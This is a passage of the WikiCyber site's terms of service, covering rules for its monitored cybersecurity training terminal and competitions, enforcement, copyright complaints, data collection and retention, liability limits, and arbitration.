&#039;&#039;&#039;6.6.2 Monitored, temporary environment.&#039;&#039;&#039; Your virtual machine is provided only for the assigned exercise. Session access can end, and working data can be lost, without warning; no backup, recovery, or continued access is promised. Ending a session does not necessarily erase its disk, logs, evidence, or backups immediately. Collection and retention are described in Sections 10.6 and 10.7. Do not enter real passwords, secrets, personal or financial information, or third-party account credentials. Use only the exercise credentials supplied for the exercise. Before starting, you must receive notice of and affirmatively agree to the disclosed console recording and environment inspection. Decline the Terminal Service if you do not agree. This agreement does not authorize monitoring beyond what applicable law permits.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.3 Permitted use.&#039;&#039;&#039; You may use the Terminal Service only to carry out the exercise presented to you, against the systems the exercise provides. In addition to Section 6, you may not: (a) attempt to attack, scan, probe, or gain access to the host machine, the hypervisor, the network, other participants&#039; environments, the Operator&#039;s other systems, or any third-party system, or attempt to escape or weaken the isolation of your environment; (b) use the environment for cryptocurrency mining, for relaying or generating traffic, for sending spam, for hosting services, or for any other purpose unrelated to the exercise; (c) attempt to exhaust or evade the limits on time, resources, attempts, or traffic, including by opening several sessions, using several accounts, or sharing an account; (d) interfere with the recording, scoring, or review of an attempt; or (e) use any network access that a practice session may provide for anything except the purpose the Operator has stated for it. Competitions never have outside network access. The Operator may end any session at any time, and may do so without warning if it believes this Section has been breached or the host is at risk.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.4 Competition integrity.&#039;&#039;&#039; In a Competition you must work alone and without help unless the rules of that Competition expressly allow otherwise. You may not receive, give, buy, sell, or publish answers, flags, solutions, hints, or the contents of an environment, before, during, or after a Competition, other than as the rules permit; you may not use another person&#039;s account or let another person use yours; and you may not use automated tools, scripts, or artificial-intelligence assistance beyond what the rules allow. The Operator may disqualify an attempt, remove a score, or exclude a person from Competitions where it reasonably determines that a rule was breached. A participant may request review under Section 7.6. These rules do not restrict lawful reports of misconduct, protected disclosures, or rights independently granted by an applicable open license.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.5 Booking, attempts, and results.&#039;&#039;&#039; Booking a Competition slot does not guarantee that the Competition will take place; the Operator may cancel or reschedule a slot or a Competition. A booked slot that is not used within the time allowed is forfeited. An attempt starts when the environment starts and its clock keeps running if you disconnect or your connection fails. An attempt that fails to start because of a fault on the Operator&#039;s side may be refunded as an attempt at the Operator&#039;s discretion, and an attempt that fails for any other reason counts. Scores are set automatically by the Operator&#039;s scoring system and are provisional. Results are normally hidden from participants until the Operator has reviewed them and published them, and the Operator may correct errors, invalidate compromised attempts, and revise rankings. Administrative decisions are subject to Section 7.6 and do not remove legal remedies. Where results are published, a leaderboard may show your Site username and score, as described in Section 10.7.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.6 Competition Accounts.&#039;&#039;&#039; A Competition Account may be used only to take part in Competitions, does not carry any right to edit the Site, and may be deactivated after the Competition for which it was issued ends, unless the holder has meanwhile become an Author. The rules in Sections 3.3, 3.6, 3.7, 3.9, 3.10, and 13.4 and Section 6.5 apply to Competition Accounts as they apply to Author accounts, and you may hold only one account.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.7 Exercises are for education only.&#039;&#039;&#039; The exercises and the techniques shown in them are for learning in the environment provided. Sections 4 and 6(a) apply: you must not apply them to a system that you do not own or are not authorized in writing to test.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.8 Event rules.&#039;&#039;&#039; Before booking or entry, the Operator will make available the applicable eligibility, dates and time zone, permitted assistance and tools, attempt and time limits, start and missed-slot rules, scoring and tie-breaking method, any overtime penalties, publication arrangements, and review procedure. Hidden scoring details and answers need not be disclosed. There is no entry fee or prize unless separately announced in rules accepted before entry; any such event requires separate applicable terms. Material changes after entry will be communicated to affected participants, with an opportunity to withdraw; the Operator may make necessary security or integrity changes and explain their effect on attempts and results. No Competition represents an accredited examination or professional certification.&lt;br /&gt;
&lt;br /&gt;
== 7. Enforcement and Termination ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.1 Remedies.&#039;&#039;&#039; If the Operator reasonably believes you have violated these Terms or that action is necessary to protect the service or others, the Operator may, at any time and without prior notice: (a) remove, edit, or restrict access to any Content; (b) suspend (temporarily or indefinitely) or permanently revoke your account or your access to the Site; (c) cooperate with law enforcement and other governmental authorities; and (d) take any other action permitted by law or in equity.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.2 Unlawful use.&#039;&#039;&#039; &#039;&#039;&#039;Use of the Site to gain unauthorized access to any system, to commit any crime, or for any other unlawful purpose is prohibited and may result in legal action.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.3 Legal process.&#039;&#039;&#039; The Operator may disclose information about you or your use of the Site where it believes in good faith that disclosure is required by law, legal process, or governmental request, or is necessary to protect the rights, property, or safety of the Operator, the Site, or others.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.4 Termination by you; effect of termination.&#039;&#039;&#039; You may stop using the Site at any time. Upon suspension or termination of your access for any reason, your right to use the Site ceases immediately. Termination does not revoke, and does not entitle you to the removal of, any license granted or Contribution made under Section 2.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.5 No liability.&#039;&#039;&#039; Any limitation of liability for enforcement action is subject to Section 11, including its exceptions. This Section does not excuse unlawful action.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.6 Review requests.&#039;&#039;&#039; You may request review of an account restriction, disqualification, or scoring decision by emailing Section 13.1 with your username, the affected decision or attempt, and the reasons for your request, ordinarily within 30 days after notice. The Operator will consider timely requests in good faith and communicate the outcome, using a reviewer not involved in the original decision where practicable. Security-sensitive evidence, personal information about others, and hidden scoring details need not be disclosed. Restrictions may remain during review. This process does not shorten a legal limitation period or prevent you from exercising legal rights.&lt;br /&gt;
&lt;br /&gt;
== 8. Copyright Complaints ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.1 Notice of claimed infringement.&#039;&#039;&#039; The Operator respects intellectual property rights and responds to notices of alleged copyright infringement in accordance with applicable law, including Title 17, United States Code, Section 512. If you believe that Content on the Site infringes a copyright that you own or control, you may submit a written notice to the contact address in Section 13 that includes:&lt;br /&gt;
:(a) your physical or electronic signature, or that of a person authorized to act on behalf of the copyright owner;&lt;br /&gt;
:(b) identification of the copyrighted work claimed to have been infringed;&lt;br /&gt;
:(c) identification of the material claimed to be infringing, with the URL of the page on which it appears, in sufficient detail to permit the Operator to locate it;&lt;br /&gt;
:(d) your name, mailing address, telephone number, and email address;&lt;br /&gt;
:(e) a statement that you have a good-faith belief that the use of the material in the manner complained of is not authorized by the copyright owner, its agent, or the law; and&lt;br /&gt;
:(f) a statement that the information in the notice is accurate and, &#039;&#039;&#039;under penalty of perjury&#039;&#039;&#039;, that you are authorized to act on behalf of the owner of the exclusive right allegedly infringed.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.2 Action upon notice.&#039;&#039;&#039; Upon receipt of a notice that substantially complies with Section 8.1, the Operator will act expeditiously to remove or disable access to the identified material as required by applicable law and will take reasonable steps promptly to notify the affected Author. Notices and counter-notices, including contact details, may be shared with the other party as necessary to administer this process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.3 Counter-notification.&#039;&#039;&#039; An Author whose Content has been removed pursuant to Section 8.2 may submit a written counter-notice to the contact address in Section 13 that includes: (a) the Author&#039;s physical or electronic signature; (b) identification of the material removed and the location at which it appeared before removal; (c) a statement, &#039;&#039;&#039;under penalty of perjury&#039;&#039;&#039;, that the Author has a good-faith belief that the material was removed as a result of mistake or misidentification; and (d) the Author&#039;s name, address, and telephone number, and a statement that the Author consents to the jurisdiction of the federal district court for the judicial district in which the Author&#039;s address is located (or, if the address is outside the United States, any judicial district in which the Operator may be found) and will accept service of process from the person who submitted the original notice or their agent. For the statutory counter-notice process, the Operator will promptly forward a compliant counter-notice to the complaining party and inform that party that the material will be restored in 10 business days. The Operator will restore access no earlier than 10 and no later than 14 business days after receipt unless its designated agent first receives notice that the complaining party has filed an action seeking a court order restraining the allegedly infringing activity. Material may remain unavailable for an independent, lawful reason under these Terms, which will be communicated to the Author.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.4 Repeat infringers.&#039;&#039;&#039; In appropriate circumstances, the Operator will suspend or terminate the accounts of Authors who are repeat infringers of copyright.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.5 Misrepresentation.&#039;&#039;&#039; You may be held liable for damages, including costs and attorneys&#039; fees, if you knowingly and materially misrepresent that material is infringing or was removed by mistake or misidentification.&lt;br /&gt;
&lt;br /&gt;
== 9. Links and Third-Party Content ==&lt;br /&gt;
&lt;br /&gt;
The Site may contain links to, or reproduce content from, websites, services, and materials that are owned or operated by third parties. Such materials include links to external web pages, tools, repositories, videos, downloads (including practice images and files), and any other service mentioned on the Site (collectively, &amp;quot;&#039;&#039;&#039;Third-Party Materials&#039;&#039;&#039;&amp;quot;). Third parties are responsible for their own materials and services. Except for materials the Operator itself creates or expressly adopts, the Operator does not control, update, or endorse Third-Party Materials, makes no guarantee that they are accurate, complete, current, safe, or lawful, and assumes no responsibility for their content, availability, security, or privacy practices. Downloaded files in particular may contain malware or be unsuitable for your systems; you should open them only in an isolated environment. Your correspondence or dealings with, or participation in promotions of, any third party found on or through the Site are solely between you and that third party. You decide whether to access or use Third-Party Materials, you do so at your own risk, and your use is governed by the terms and policies of that third party.&lt;br /&gt;
&lt;br /&gt;
== 10. Privacy ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.1 Information collected.&#039;&#039;&#039; The Operator collects and uses limited information, such as usernames, email addresses associated with accounts, and server logs, for the purposes of operating, maintaining, and securing the Site. If you use the Terminal Service, the Operator also collects and uses the additional information described in Sections 10.6 and 10.7.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.2 Public nature of Contributions.&#039;&#039;&#039; All Contributions that are published on the Site, including the Author&#039;s username and edit history, are public and are not confidential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.3 Service providers.&#039;&#039;&#039; Some of the services that operate the Site, including hosting infrastructure, are provided by Akamai Technologies, Inc. (Linode). Server logs and other data described in Section 10.1 may be stored and processed on that provider&#039;s infrastructure. The Terminal Service runs on a separate server hosted by DigitalOcean, LLC, and the data described in Section 10.6 is stored and processed there. The Operator also keeps encrypted backups of that server&#039;s state in a private code repository that it operates itself, and a second, off-site copy of its security audit records on the Linode server. Email delivery also involves the Operator&#039;s email service provider, currently Google Workspace. The Operator does not sell personal information. The Privacy policy must identify applicable processing purposes, service-provider categories, and retention practices; naming providers here does not limit legally required disclosures.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.4 Children.&#039;&#039;&#039; The Site is not intended for, and the Operator does not knowingly collect personal information from, children under 13 (see Section 3.9). A parent or legal guardian who believes that a child under 13 has provided personal information to the Operator may contact the Operator at the address in Section 13.1, and the Operator will promptly investigate and delete information as required by applicable law, retaining it only where legally permitted and necessary.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.5 Privacy policy and private material.&#039;&#039;&#039; The Privacy policy describes data practices and applicable privacy rights; it is not a blanket consent to all processing. Where separate consent is required, the Operator must obtain it. Private sandbox pages are access-restricted, but authorized administrators and reviewers may access them for operation, review, security, or legal compliance. Draft-namespace pages and public edit metadata are not private. Do not submit secrets. A privacy request is governed by applicable law, not solely by the Operator&#039;s discretion.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.6 Terminal Service: what is collected.&#039;&#039;&#039; If you use the Terminal Service, the following is recorded and should be treated as visible to the Operator:&lt;br /&gt;
:(a) &#039;&#039;&#039;Account and eligibility.&#039;&#039;&#039; Your wiki account identifier and username, whether your email address is confirmed, whether you have accepted the applicable version of these Terms, and your eligibility to use the Terminal Service or a Competition. The Site sends these to the Terminal Service host in signed requests, together with the Internet address your request came from.&lt;br /&gt;
:(b) &#039;&#039;&#039;Session records.&#039;&#039;&#039; When each session or attempt is requested, queued, started, and ended; how it ended; its length; the environment and Competition it belonged to; limits you reached; and refused or invalid requests. The Operator keeps these in tamper-evident audit logs, and a copy of those logs is sent to a second server to help preserve evidence of tampering. These safeguards do not guarantee that records cannot be altered or lost. These logs identify you by your account identifier and may include your Internet address.&lt;br /&gt;
:(c) &#039;&#039;&#039;Console activity.&#039;&#039;&#039; Everything that passes through the terminal, in both directions, is visible to the Operator while the session runs, and the host keeps a log of the virtual machine&#039;s console. Because a console normally displays what you type, the console log can contain the commands you type, the output you see, and anything you paste or type into the terminal, including anything you should not have entered. Do not type or paste anything into the terminal that you are not willing for the Operator to see. The Operator does not use the console log for advertising and does not read it routinely; it uses it to run the service, to investigate abuse, faults, and suspected cheating, and to review and score attempts.&lt;br /&gt;
:(d) &#039;&#039;&#039;Environment contents.&#039;&#039;&#039; At the end of an attempt the Operator takes a copy of the contents of the virtual machine&#039;s disk, the files you changed or created, and the answers you typed into the environment, so that the attempt can be scored and reviewed. Practice scoring copies are ordinarily deleted after scoring; fault investigation, security incidents, or legal preservation may require longer retention. Competition evidence may be retained for review and disputes. Ending access does not guarantee immediate erasure of working disks, console logs, or backups. Retention remains subject to Section 10.7 and applicable law.&lt;br /&gt;
:(e) &#039;&#039;&#039;Scoring, booking, and results.&#039;&#039;&#039; Your bookings, slots, missed slots, attempts, the score and the individual scoring checks for each attempt, the Operator&#039;s review decision, and the leaderboard. Scoring is automatic and rule-based; a person may review it.&lt;br /&gt;
:(f) &#039;&#039;&#039;Network use.&#039;&#039;&#039; A practice session that has been given outside network access sends its traffic through a filtering proxy that records each connection it allows or refuses (the environment, the destination, the time, and the amount of data), but not the content of encrypted traffic. Competitions never have network access.&lt;br /&gt;
:(g) &#039;&#039;&#039;Email.&#039;&#039;&#039; Emails about booking, queueing, or results that the Operator sends to your account&#039;s email address.&lt;br /&gt;
:(h) &#039;&#039;&#039;Browser information.&#039;&#039;&#039; A necessary, secure session cookie that connects your browser to your one terminal session that expires according to its configured lifetime or is cleared on logout or explicit termination. Closing the browser or losing a connection need not immediately remove the cookie. The Operator does not use advertising or analytics cookies in the Terminal Service.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.7 Terminal Service: use, sharing, and retention.&#039;&#039;&#039; The Operator uses the information in Section 10.6 to provide and secure the Terminal Service, to schedule, score, review, and publish Competitions, to prevent and investigate abuse and cheating, to keep the service running, and to meet legal obligations. The Operator shares it with service providers supporting the purposes described here and in the Privacy policy, including those identified in Section 10.3, with persons who run or review a Competition for the Operator, as required under Section 7.3, and, in the case of a leaderboard or published result, with the public as described below. Where results are published, your Site username, score, and rank may be shown to anyone who can see the page. Usernames on the Site are public (Section 10.2), so you should not use a username that you do not want connected to a published result. The Operator keeps the information in Section 10.6 for as long as it reasonably needs it for these purposes and for a Competition&#039;s review and dispute period, and may keep audit records, bookings, and published results for longer where the integrity of a Competition, the security of the Terminal Service, or the law requires. Retention must be limited to what is reasonably necessary and legally permitted, with deletion or de-identification when no longer needed; backup copies may persist until their scheduled rotation. The Privacy policy must state applicable retention periods or the criteria used to determine them. You may ask the Operator, at the address in Section 13.1, to access or delete information about you in the Terminal Service, and it will respond in accordance with applicable law, including any identity-verification requirements, response deadlines, and lawful exceptions. Published results and usernames may be removed or de-identified where required. Competition integrity alone does not override a statutory deletion right. The Terminal Service is not designed for the entry of sensitive personal information.&lt;br /&gt;
&lt;br /&gt;
== 11. Disclaimer of Warranties; Limitation of Liability ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.1 Disclaimer of warranties.&#039;&#039;&#039; TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE SITE AND ALL CONTENT, INCLUDING TERMINAL ENVIRONMENTS AND COMPETITIONS, ARE PROVIDED &amp;quot;AS IS&amp;quot; AND &amp;quot;AS AVAILABLE,&amp;quot; WITHOUT WARRANTIES OF ANY KIND, WHETHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING ANY WARRANTIES OF ACCURACY, COMPLETENESS, TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THE OPERATOR DOES NOT WARRANT THAT THE SITE OR THE CONTENT WILL BE UNINTERRUPTED, TIMELY, ERROR-FREE, SECURE, OR FREE OF HARMFUL COMPONENTS.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.2 Exclusion of damages.&#039;&#039;&#039; TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL ANY OF THE WIKICYBER PARTIES BE LIABLE TO YOU OR TO ANY THIRD PARTY FOR ANY INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES, OR FOR ANY LOSS OF DATA, PROFITS, REVENUE, GOODWILL, OR SYSTEM AVAILABILITY, ARISING OUT OF OR IN CONNECTION WITH THESE TERMS, THE SITE, OR THE CONTENT, OR YOUR USE OF, OR INABILITY TO USE, THE SITE OR THE CONTENT, WHETHER BASED ON WARRANTY, CONTRACT, TORT (INCLUDING NEGLIGENCE), STATUTE, OR ANY OTHER LEGAL THEORY, AND EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.3 Limitation of aggregate liability.&#039;&#039;&#039; BECAUSE THE SITE IS PROVIDED FREE OF CHARGE, TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE TOTAL AGGREGATE LIABILITY OF THE WIKICYBER PARTIES FOR ALL CLAIMS ARISING OUT OF OR RELATING TO THESE TERMS, THE SITE, OR THE CONTENT SHALL NOT EXCEED THE GREATER OF TEN U.S. DOLLARS (US$10) OR THE AMOUNTS YOU PAID THE OPERATOR FOR THE AFFECTED SERVICE IN THE TWELVE MONTHS BEFORE THE EVENT GIVING RISE TO LIABILITY, SUBJECT TO SECTION 11.4.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.4 Exceptions.&#039;&#039;&#039; Nothing in these Terms excludes or limits liability for fraud, willful misconduct, gross negligence, or any other liability that cannot lawfully be excluded or limited, including nonwaivable statutory remedies. No disclaimer, indemnity, assumption of risk, enforcement provision, or dispute clause overrides those protections. Some jurisdictions do not allow the exclusion of certain warranties or the limitation of certain damages, and in those jurisdictions the exclusions and limitations in this Section 11 apply only to the fullest extent permitted.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.5 Basis of the bargain.&#039;&#039;&#039; You acknowledge that the disclaimers and limitations in this Section 11 reflect a reasonable allocation of risk, that the Site is provided free of charge in reliance on them, and that they apply even if any limited remedy fails of its essential purpose.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.6 Terminal risks.&#039;&#039;&#039; Training images may be intentionally vulnerable or misconfigured. No warranty is made about session continuity, isolation against every possible attack, scoring accuracy, preservation of work, or suitability for an external exam or certification. Do not deploy training images as production systems or expose them to other networks. These cautions do not expand your authorized testing scope or diminish Section 11.4.&lt;br /&gt;
&lt;br /&gt;
== 12. Indemnification ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12.1 Indemnity.&#039;&#039;&#039; To the extent permitted by applicable law, you agree to indemnify the WikiCyber Parties against third-party claims and reasonable resulting losses and legal costs to the extent caused by your unlawful conduct, infringement of third-party rights, or material breach of these Terms. This does not apply to claims caused by a WikiCyber Party&#039;s own negligence, misconduct, or violation of law, or require reimbursement for your good-faith assertion of rights against the Operator. No minor or consumer assumes obligations that applicable law prohibits.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12.2 Procedure.&#039;&#039;&#039; The Operator will promptly notify you of a claim and take reasonable steps to mitigate loss. Late notice relieves you of liability to the extent it materially prejudices your defense. You may control the defense using reasonably qualified counsel acceptable to the Operator; the Operator may participate at its own expense. If you fail to provide a reasonable defense, the Operator may defend and seek only reasonable, necessary costs otherwise covered by Section 12.1. Neither party may settle a covered claim in a way that admits fault, imposes nonmonetary obligations, or fails to release the other without that other&#039;s consent, not unreasonably withheld.&lt;br /&gt;
&lt;br /&gt;
== 13. Contact and Notices ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.1 Contact.&#039;&#039;&#039; Questions regarding these Terms, notices of claimed copyright infringement and counter-notices under Section 8, and reports under Section 6.3 should be directed to: &#039;&#039;&#039;admin@wikicyber.org&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.2 Notices to you.&#039;&#039;&#039; The Operator may provide notices to you by posting them on the Site or by sending them to the email address associated with your account, if any. Material changes are governed by Section 14. Posting or sending a notice does not establish acceptance or waive any legally required notice, receipt, or service-of-process procedure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.3 Electronic communications.&#039;&#039;&#039; You consent to receive communications from the Operator in electronic form and agree that electronic communications may satisfy writing requirements to the extent permitted by applicable law; any additional legally required consent or delivery procedure still applies.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.4 Account and service emails; no marketing.&#039;&#039;&#039; By accepting an account, an Author agrees that the Operator may send email to the address associated with the account for purposes related to the Site, such as account and security messages, password resets, editorial review and draft-status notices, terminal queue and competition booking or results messages where offered, notices of changes to these Terms or the Supplemental Policies, and responses to your inquiries. The Operator does not send advertising or marketing messages and does not contact you by telephone or text message. Some categories of email (such as review notifications) may be switched off in your preferences; notices about these Terms, legal notices, and security messages may be sent regardless. You represent that you own or are authorized to use the email address you give the Operator.&lt;br /&gt;
&lt;br /&gt;
== 14. Modifications to These Terms ==&lt;br /&gt;
&lt;br /&gt;
The Operator may revise these Terms prospectively. A revised version will state its effective date and be available for review. For material changes, the Operator will provide reasonable advance notice through the Site and, for affected account holders, their account email where available, ordinarily at least 30 days before effectiveness. Changes necessary for law, security, or abuse prevention may take effect sooner to the extent necessary, with notice as soon as practicable. Account holders must affirmatively accept material contractual changes before using the affected account features after effectiveness; publication or silence alone is not acceptance. A user who declines may stop using the affected features and request account closure. Changes do not retroactively alter accrued claims, revoke granted licenses, or override prior arbitration opt-outs. Changes to dispute resolution also require the protections in Section 15.15. Prior published versions remain available through page history.&lt;br /&gt;
&lt;br /&gt;
== 15. Governing Law and General Provisions ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.1 Governing law.&#039;&#039;&#039; These Terms, and any dispute arising out of or relating to them or to the Site, are governed by the laws of the State of California, United States of America, without regard to its conflict-of-laws principles, except that mandatory protections of your place of residence continue to apply where they cannot lawfully be displaced.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.2 Jurisdiction and venue.&#039;&#039;&#039; Subject to Sections 15.3 and 15.12 through 15.15, you irrevocably consent to the exclusive jurisdiction and venue of the state and federal courts located in the State of California for any such dispute, except where mandatory law entitles you to a different forum. This provision does not prevent qualifying small-claims proceedings under Section 15.12 or complaints to public authorities.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.3 Provisional relief.&#039;&#039;&#039; Either party may request temporary or preliminary relief from a court of competent jurisdiction where necessary to preserve rights pending arbitration. This does not remove the merits of an otherwise arbitrable dispute from arbitration. Public injunctive relief is governed by Section 15.14.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.4 Severability.&#039;&#039;&#039; If any provision of these Terms is held to be invalid, illegal, or unenforceable, that provision shall be enforced to the maximum extent permissible and the remaining provisions shall continue in full force and effect.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.5 No waiver.&#039;&#039;&#039; The failure of the Operator to exercise or enforce any right or provision of these Terms does not constitute a waiver of that right or provision. Any waiver must be in writing and signed by the Operator to be effective.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.6 Entire agreement; order of precedence.&#039;&#039;&#039; These Terms, together with the Supplemental Policies and, as to Content, the License, constitute the entire agreement between you and the Operator regarding the Site and supersede all prior or contemporaneous understandings on that subject. In the event of a conflict, (a) the License governs the rights granted in Content, and (b) mandatory law controls over all contractual terms. The Privacy policy governs descriptions of personal-data handling and does not diminish privacy rights. Event rules under Section 6.6.8 govern event mechanics but cannot change these Terms&#039; liability, dispute-resolution, or privacy provisions. Otherwise these Terms control. An unpublished or unavailable policy is not incorporated by reference.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.7 Assignment.&#039;&#039;&#039; You may not assign or transfer these Terms or any rights under them without the Operator&#039;s prior written consent, and any purported assignment in violation of this Section is void. The Operator may assign these Terms in connection with a genuine transfer or reorganization of the service if the successor assumes its obligations, subject to applicable law and notice of material changes in the handling of personal information. Assignment does not reduce your accrued rights.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.8 Third-party beneficiaries.&#039;&#039;&#039; Except that the WikiCyber Parties are intended third-party beneficiaries of Sections 11 and 12, these Terms confer no rights on any person other than you and the Operator.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.9 Force majeure.&#039;&#039;&#039; The Operator shall not be liable for any failure or delay in performance caused by events beyond its reasonable control, including failures of internet, hosting, or power services, labor disputes, natural disasters, governmental action, or attacks on the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.10 Geographic availability and age assurance.&#039;&#039;&#039; Availability of the Site does not mean every service is offered in every jurisdiction. The Operator may restrict features or locations where needed to comply with applicable law. Users must provide accurate eligibility information reasonably requested under Section 3.9, and must not evade geographic or age restrictions. These Terms do not disclaim applicable foreign law, transfer the Operator&#039;s compliance obligations to users, or replace age-assurance measures required by law. Any collection of verification information requires appropriate notice and safeguards.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.11 Survival.&#039;&#039;&#039; Sections that by their nature should survive the termination of your access to the Site shall so survive, including Sections 2, 3.7, 3.8, 3.9(c), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, and 15, but only to the extent relevant to accrued rights and obligations or continuing lawful retention. Survival does not require indefinite data retention.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.12 Informal resolution and binding arbitration.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Informal resolution first.&#039;&#039;&#039; Before starting an arbitration, a party must send the other a written notice describing the dispute and the relief sought (to the Operator, at the address in Section 13.1; to you, at the email address associated with your account), and the parties will try in good faith to resolve it informally for at least thirty (30) days after the notice is received. Applicable limitation periods are tolled during that period to the extent permitted by law. Neither party must delay an urgent protective filing, a qualifying small-claims case, or a complaint to a regulator. Participation does not require disclosing privileged information.&lt;br /&gt;
:(b) &#039;&#039;&#039;Agreement to arbitrate.&#039;&#039;&#039; If you affirmatively accepted this arbitration agreement and a dispute is not resolved within that period, then, except as provided in Section 15.12(e) and Section 15.15, you and the Operator agree that any dispute, claim, or controversy arising out of or relating to these Terms, the Site, or the Content, whether based in contract, tort, statute, or otherwise, will be resolved exclusively by final and binding arbitration on an individual basis, and not in court before a judge or jury. This Section 15.12 is governed by the Federal Arbitration Act (9 U.S.C. § 1 et seq.).&lt;br /&gt;
:(c) &#039;&#039;&#039;Rules and administrator.&#039;&#039;&#039; The arbitration will be administered by the American Arbitration Association (&amp;quot;AAA&amp;quot;) under its Consumer Arbitration Rules in effect when the arbitration is started, subject to applicable consumer due-process protections, which this Section does not reduce. The rules and filing instructions are available at https://www.adr.org. The Operator will comply with applicable AAA clause-review, registration, and business-fee requirements. If AAA declines administration because the Operator has not complied, you may elect court proceedings. If AAA is otherwise unavailable, the parties may agree on another administrator; absent agreement, either may proceed in court. The arbitration will be conducted by a single arbitrator, in writing or by video or telephone conference, unless the arbitrator decides that an in-person hearing is necessary, in which case it will be held in the county where you live or another place that the parties agree on.&lt;br /&gt;
:(d) &#039;&#039;&#039;Costs.&#039;&#039;&#039; Fees and costs will be allocated under the AAA Consumer Arbitration Rules. If those rules would require you to pay more than you would have paid to file a lawsuit in the state court of the county where you live, the Operator will pay the excess. Each party bears its own attorneys&#039; fees, except where applicable law or the arbitrator&#039;s authority under this Section permits an award of fees.&lt;br /&gt;
:(e) &#039;&#039;&#039;Exceptions.&#039;&#039;&#039; Either party may (i) bring an individual claim in small claims court if the claim qualifies; (ii) seek injunctive or other equitable relief under Section 15.3; and (iii) bring a claim for public injunctive relief only in court, as provided in Section 15.14.&lt;br /&gt;
:(f) &#039;&#039;&#039;Authority of the arbitrator.&#039;&#039;&#039; The arbitrator may award any individual relief that a court could award on the claims properly before the arbitrator, but may not award relief for or against anyone who is not a party. The arbitrator&#039;s decision is final, and a court having jurisdiction may enter judgment on it. A court decides contract formation, assent, and the validity, enforceability, and scope of this arbitration agreement, including Section 15.13; the arbitrator decides the merits of disputes properly referred to arbitration. Statutory remedies and judicial review available under applicable law remain available.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.13 Individual arbitration; jury rights.&#039;&#039;&#039; Covered arbitrations proceed individually, not as a class or representative arbitration, unless both parties agree otherwise after a dispute arises. The arbitrator may not consolidate different persons&#039; claims without their consent. If this limitation is unenforceable for a particular claim, that claim proceeds in court; other arbitrable claims remain in arbitration. This provision does not waive nonwaivable representative remedies, public injunctive relief, complaints to public authorities, or participation in government enforcement. Arbitration has no jury. These Terms do not separately waive a jury trial for claims that proceed in court, and do not prevent participation in a court-approved settlement.&lt;br /&gt;
&lt;br /&gt;
